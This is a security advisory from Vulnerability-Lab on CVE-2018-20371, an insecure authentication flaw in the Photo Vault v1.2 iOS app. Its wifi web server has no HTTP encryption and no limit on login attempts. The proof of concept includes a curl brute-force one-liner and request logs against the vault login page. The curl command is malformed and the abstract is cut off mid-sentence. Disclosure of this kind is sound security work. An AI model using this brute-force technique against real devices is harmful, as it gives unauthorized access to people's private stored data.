Photo Vault v1.2 iOS - Insecure Authentication Vulnerability

Document Title:
===============
Photo Vault v1.2 iOS - Insecure Authentication Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2110

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20371

CVE-ID:
=======
CVE-2018-20371


Release Date:
=============
2018-01-16


Vulnerability Laboratory ID (VL-ID):
====================================
2110


Common Vulnerability Scoring System:
====================================
4.8


Vulnerability Class:
====================
Insecure Storage of Sensitive Information


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
https://itunes.apple.com/us/app/id1053383947


Abstract Advisory Information:
==============================
The vulnerability labortory core research team discovered a insecure authentication issue in the official 


Vulnerability Disclosure Timeline:
==================================
2018-01-16: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PhotoRange
Product: Photo Vault - Mobile (Web-Application) 1.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
An insecure authentication method issue has been discovered in the official iOS mobile web-application.

The vulnerability is located in the login mechanism and password request communication. In case of the activated wifi 
server it is possible to remotly access the vault protected by a password. The password request is a simple less 
protected attempt to the login.html file with `_` to split between the password and file. There is no request limitation 
to block automated bruteforce attacks. 

Attackers can perform fast brute force password audits against the http basic authentication mechanism. Remote attackers 
can use an automated dictionary attack or compromise by manual basic http bruteforce attacks via curl, nmap or http-brute.
Attackers can fast gain unauthorized access the private vault over the activated wifi web-application in the same network. 
A second minor problem is that there is no https protocol activated for the wifi http web-server communication in the network. 
Both issues together pose a significant risk to end users and the private stored information in the vault mobile ios application.

The security risk of the insecure authentication method issue is estimated as medium with a cvss count of 4.8. 
Exploitation of the issue requires network access to connect to the web-server via wifi without user interaction. 
Successful exploitation of the vulnerability results in unauthorized access to private or sensitive data.


Proof of Concept (PoC):
=======================
The security issue can be exploited by remote attackers without privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.


PoC: 
http_code=$(curl -L -data password="passwdords.txt" "$url http://Localhost:9900/login.html__" -w '%{http_code}' -o /root/fuzztime -s)


--- PoC Session Logs [GET] ---
GET http://localhost:9900/login.html
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Localhost:9900/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:20 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked
Note: Requests first the login page
-
GET http://localhost:9900/login.html__passwd1
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:9900/login.html
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:26 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked

Note: Access to vault of ios mobile application was cracked in a forensic access test within 15 minutes.


Reference(s):
http://localhost:9900/
http://localhost:9900/login.html
http://localhost:9900/login.html__


Security Risk:
==============
The security risk of the vulnerability in the mobile vault application is eastimated as medium (CVSS 4.8).


Credits & Authors:
==================
Benjamin K.M. [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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